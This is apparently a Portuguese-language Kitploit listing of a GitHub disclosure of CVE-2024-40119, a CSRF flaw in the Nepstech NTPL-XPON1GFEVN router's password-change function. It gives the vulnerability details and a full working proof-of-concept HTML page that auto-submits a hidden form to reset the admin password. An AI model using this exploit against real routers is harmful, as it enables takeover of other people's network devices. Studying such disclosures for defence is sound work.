Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
nepstech-xpon-router-CVE-2024-40119 — Vulnerabilidade de Cross-Site Request Forgery (CSRF) na função de alteração de senha, que permite que atacantes remotos alterem a senha do administrador sem o consentimento do usuário, levando a uma potencial apropriação de conta. | Kitploit
Ferramentas/GitHubGitHub/baroi-ai/nepstech-xpon-router-cve-2024-40119
Segurança IoTAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubbaroi-ai/nepstech-xpon-router-cve-2024-40119

nepstech-xpon-router-CVE-2024-40119

Vulnerabilidade de Cross-Site Request Forgery (CSRF) na função de alteração de senha, que permite que atacantes remotos alterem a senha do administrador sem o consentimento do usuário, levando a uma potencial apropriação de conta.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
114há 2 anosAinda não revisado

nepstech-xpon-router-CVE-2024-40119

Autor:

Subhodeep Baroi

CVE-2024-40119: Vulnerabilidade CSRF no Roteador Wi-Fi Nepstech NTPL-XPON1GFEVN v1.0

Descrição

CVE-2024-40119 é uma vulnerabilidade de Cross-Site Request Forgery (CSRF) no roteador Wi-Fi Nepstech xpon NTPL-XPON1GFEVN v1.0, firmware v2.0.1. Esta vulnerabilidade permite que atacantes remotos alterem a senha do administrador sem o consentimento do usuário, levando a uma potencial tomada de conta.

Detalhes

  • Tipo de Vulnerabilidade: Cross-Site Request Forgery (CSRF)
  • Fabricante do Produto: Nepstech
  • Base de Código do Produto Afetado: Wifi Router xpon (terminal) - Modelo: NTPL-XPON1GFEVN - Versão: 1.0 e Firmware: V2.0.1
  • Componente Afetado: Funcionalidade de alteração de senha do aplicativo web do roteador
  • Tipo de Ataque: Remoto
  • Impacto: Tomada de Conta do Administrador

Vetores de Ataque

Um atacante remoto pode criar uma página HTML maliciosa que aciona a funcionalidade de alteração de senha quando visitada por um usuário autenticado. Abaixo está um exemplo de vetor de ataque:

root@kitploit:~
<!DOCTYPE html>
<html>
  <body>
    <form action="http://192.168.1.1/cgi-bin/mag-account.asp" method="POST">
      <input type="hidden" name="name0" value="admin" />
      <input type="hidden" name="name1" value="user" />
      <input type="hidden" name="name2" value="user3" />
      <input type="hidden" name="oldUsername" value="admin" />
      <input type="hidden" name="newUsername" value="" />
      <input type="hidden" name="oldPassword" value="" />
      <input type="hidden" name="newPassword" value="UserUser2&#64;" />
      <input type="hidden" name="cfmPassword" value="UserUser2&#64;" />
      <input type="hidden" name="accountflg" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
Baixar ferramenta